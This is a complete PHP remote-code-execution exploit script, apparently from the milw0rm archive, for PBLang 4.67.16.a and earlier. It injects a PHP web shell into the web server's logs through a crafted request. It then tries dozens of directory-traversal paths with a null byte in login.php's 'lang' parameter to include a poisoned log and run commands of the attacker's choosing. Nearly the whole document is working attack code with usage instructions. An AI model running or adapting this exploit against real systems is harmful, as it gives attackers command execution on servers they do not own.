PBLang 4.67.16.a - Remote Code Execution

#!/usr/bin/php -q -d short_open_tag=on
<?php

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

if ($argc<4) {
print "-------------------------------------------------------------------------\r\n";
print "             PBLang <= 4.67.16.a Remote Code Execution Exploit\r\n";
print "-------------------------------------------------------------------------\r\n";
print "Usage: w4ck1ng_pblang.php [HOST] [PATH] [COMMAND]\r\n\r\n";
print "[HOST] 	  = Target server's hostname or ip address\r\n";
print "[PATH] 	  = Path where PBLang is located\r\n";
print "[COMMAND] = Command to execute\r\n\r\n";
print "e.g. w4ck1ng_pblang.php victim.com /pblang/ \"ls -lia\"\r\n";
print "-------------------------------------------------------------------------\r\n";
print "            		 http://www.w4ck1ng.com\r\n";
print "            		        ...Silentz\r\n";
print "-------------------------------------------------------------------------\r\n";
die;
}

//Props to rgod for the following functions

$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
}

$host=$argv[1];
$path=$argv[2];
$cmd="";$port=80;$proxy="";

for ($i=3; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P"))
{$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}
$cmd=urlencode($cmd);
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

$code="<?php echo w4ckw4ck;error_reporting(0);set_time_limit(0);if (get_magic_quotes_gpc()){\$_GET[cmd]=stripslashes(\$_GET[cmd]);}passthru(\$_GET[cmd]);die;?>";
$packet="GET " . $p . $code . " HTTP/1.0\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)\r\n";
$packet.="Host: " . $host . "\r\n";
$packet.="Connection: close\r\n\r\n";

sendpacketii($packet);
sleep(3);

$paths= array (
"/../../../../../var/log/httpd/access_log",
"/../../../../../var/log/httpd/error_log",
"/../../../../../../var/log/httpd/access_log",
"/../../../../../../var/log/httpd/error_log",
"/../../../../../../../var/log/httpd/access_log",
"/../../../../../../../var/log/httpd/error_log",
"/../../../../../apache/logs/error.log",
"/../../../../../apache/logs/access.log",
"/../../../../../../apache/logs/error.log",
"/../../../../../../apache/logs/access.log",
"/../../../../../../../apache/logs/error.log",
"/../../../../../../../apache/logs/access.log",
"/../../../../../logs/error.log",
"/../../../../../logs/access.log",
"/../../../../../../logs/error.log",
"/../../../../../../logs/access.log",
"/../../../../../../../logs/error.log",
"/../../../../../../../logs/access.log",
"/../../../../../etc/httpd/logs/access_log",
"/../../../../../etc/httpd/logs/access.log",
"/../../../../../etc/httpd/logs/error_log",
"/../../../../../etc/httpd/logs/error.log",
"/../../../../../../etc/httpd/logs/access_log",
"/../../../../../../etc/httpd/logs/access.log",
"/../../../../../../etc/httpd/logs/error_log",
"/../../../../../../etc/httpd/logs/error.log",
"/../../../../../../../etc/httpd/logs/access_log",
"/../../../../../../../etc/httpd/logs/access.log",
"/../../../../../../../etc/httpd/logs/error_log",
"/../../../../../../../etc/httpd/logs/error.log",
"/../../../../../usr/local/apache/logs/access_log",
"/../../../../../usr/local/apache/logs/access.log",
"/../../../../../../usr/local/apache/logs/access_log",
"/../../../../../../usr/local/apache/logs/access.log",
"/../../../../../../../usr/local/apache/logs/access_log",
"/../../../../../../../usr/local/apache/logs/access.log",
"/../../../../../usr/local/apache/logs/error_log",
"/../../../../../usr/local/apache/logs/error.log",
"/../../../../../../usr/local/apache/logs/error_log",
"/../../../../../../usr/local/apache/logs/error.log",
"/../../../../../../../usr/local/apache/logs/error_log",
"/../../../../../../../usr/local/apache/logs/error.log",
"/../../../../../var/log/apache/access_log",
"/../../../../../var/log/apache/access.log",
"/../../../../../../var/log/apache/access_log",
"/../../../../../../var/log/apache/access.log",
"/../../../../../../../var/log/apache/access_log",
"/../../../../../../../var/log/apache/access.log",
"/../../../../../../var/log/apache/error_log",
"/../../../../../../var/log/apache/error.log",
"/../../../../../../../var/log/apache/error_log",
"/../../../../../../../var/log/apache/error.log",
"/../../../../../../../../var/log/apache/error_log",
"/../../../../../../../../var/log/apache/error.log",
"/../../../../../var/log/access_log",
"/../../../../../var/log/access.log",
"/../../../../../../var/log/access_log",
"/../../../../../../var/log/access.log",
"/../../../../../../../var/log/access_log",
"/../../../../../../../var/log/access.log",
"/../../../../../var/log/error_log",
"/../../../../../var/log/error.log",
"/../../../../../../var/log/error_log",
"/../../../../../../var/log/error.log",
"/../../../../../../../var/log/error_log",
"/../../../../../../../var/log/error.log",
"/../../../../../var/www/logs/access_log",
"/../../../../../var/www/logs/access.log",
"/../../../../../../var/www/logs/access_log",
"/../../../../../../var/www/logs/access.log",
"/../../../../../../../var/www/logs/access_log",
"/../../../../../../../var/www/logs/access.log",
"/../../../../../var/www/logs/error_log",
"/../../../../../var/www/logs/error.log",
"/../../../../../../var/www/logs/error_log",
"/../../../../../../var/www/logs/error.log",
"/../../../../../../../var/www/logs/error_log",
"/../../../../../../../var/www/logs/error.log",
);

for ($i=0; $i<=count($paths)-1; $i++)
{
$a=$i+2;

$packet ="GET " . $p . "login.php?lang=" . $paths[$i] . "%00&cmd=" . $cmd . " HTTP/1.1\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)\r\n";
$packet.="Host: " . $host . "\r\n";
$packet.="Connection: Close\r\n\r\n";

sendpacketii($packet);

if (strstr($html,"w4ckw4ck"))
    {
     $temp=explode("w4ckw4ck",$html);
	print "-------------------------------------------------------------------------\r\n";
	print "             PBLang <= 4.67.16.a Remote Code Execution Exploit\r\n";
	print "-------------------------------------------------------------------------\r\n";
        echo $temp[1];
	print "-------------------------------------------------------------------------\r\n";
	print "            		 http://www.w4ck1ng.com\r\n";
	print "            		        ...Silentz\r\n";
	print "-------------------------------------------------------------------------\r\n";
	exit;
    }
}

	print "-------------------------------------------------------------------------\r\n";
	print "             PBLang <= 4.67.16.a Remote Code Execution Exploit\r\n";
	print "-------------------------------------------------------------------------\r\n";
        echo "[-] Exploit Failed...\r\n";
	print "-------------------------------------------------------------------------\r\n";
	print "            		 http://www.w4ck1ng.com\r\n";
	print "            		        ...Silentz\r\n";
	print "-------------------------------------------------------------------------\r\n";

?>

# milw0rm.com [2007-06-06]